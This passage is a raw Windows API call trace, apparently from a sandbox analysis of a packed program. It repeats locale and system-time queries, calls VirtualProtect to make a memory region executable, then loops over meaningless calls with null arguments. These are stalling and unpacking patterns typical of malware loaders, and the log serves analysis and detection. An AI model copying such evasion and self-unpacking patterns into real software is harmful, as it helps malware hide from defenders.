GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.048] GetACP () returned 0x4e4 [0051.048] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.048] GetACP () returned 0x4e4 [0051.048] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.048] GetACP () returned 0x4e4 [0051.048] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.048] GetACP () returned 0x4e4 [0051.048] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.049] GetACP () returned 0x4e4 [0051.049] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.049] GetACP () returned 0x4e4 [0051.049] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.049] GetACP () returned 0x4e4 [0051.049] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.049] GetACP () returned 0x4e4 [0051.049] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.049] GetACP () returned 0x4e4 [0051.049] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.049] GetACP () returned 0x4e4 [0051.049] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.049] GetACP () returned 0x4e4 [0051.049] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.049] GetACP () returned 0x4e4 [0051.049] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.049] GetACP () returned 0x4e4 [0051.049] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.050] GetACP () returned 0x4e4 [0051.050] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.050] GetACP () returned 0x4e4 [0051.050] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.050] GetACP () returned 0x4e4 [0051.050] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.050] GetACP () returned 0x4e4 [0051.050] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.050] GetACP () returned 0x4e4 [0051.050] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.050] GetACP () returned 0x4e4 [0051.050] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.050] GetACP () returned 0x4e4 [0051.050] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0051.050] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0051.050] GetACP () returned 0x4e4 [0051.242] VirtualProtect (in: lpAddress=0x245aa8, dwSize=0xfacb, flNewProtect=0x40, lpflOldProtect=0x43bc04 | out: lpflOldProtect=0x43bc04*=0x4) returned 1 [0051.243] AddAtomA (lpString=0x0) returned 0x0 [0051.243] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.244] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.244] AddAtomA (lpString=0x0) returned 0x0 [0051.244] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.244] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.244] AddAtomA (lpString=0x0) returned 0x0 [0051.244] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.244] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.244] AddAtomA (lpString=0x0) returned 0x0 [0051.244] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.244] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.244] AddAtomA (lpString=0x0) returned 0x0 [0051.244] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.244] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.244] AddAtomA (lpString=0x0) returned 0x0 [0051.244] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.244] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.244] AddAtomA (lpString=0x0) returned 0x0 [0051.244] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.244] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.244] AddAtomA (lpString=0x0) returned 0x0 [0051.244] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.244] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.244] AddAtomA (lpString=0x0) returned 0x0 [0051.244] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.244] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.244] AddAtomA (lpString=0x0) returned 0x0 [0051.244] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.244] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.244] AddAtomA (lpString=0x0) returned 0x0 [0051.244] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.245] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.245] AddAtomA (lpString=0x0) returned 0x0 [0051.245] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.246] AddAtomA (lpString=0x0) returned 0x0 [0051.246] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.246] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.247] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.247] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.247] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.247] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.247] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.247] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.247] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.247] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.247] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.247] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.247] AddAtomA (lpString=0x0) returned 0x0 [0051.247] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.248] AddAtomA (lpString=0x0) returned 0x0 [0051.248] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.248] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.249] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.249] AddAtomA (lpString=0x0) returned 0x0 [0051.249] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.250] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.250] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.250] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.250] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.250] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.250] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.250] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.250] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.250] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.250] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.250] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.250] AddAtomA (lpString=0x0) returned 0x0 [0051.251] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.251] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.251] AddAtomA (lpString=0x0) returned 0x0 [0051.299] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.300] AddAtomA (lpString=0x0) returned 0x0 [0051.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.300] AddAtomA (lpString=0x0) returned 0x0 [0051.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.300] AddAtomA (lpString=0x0) returned 0x0 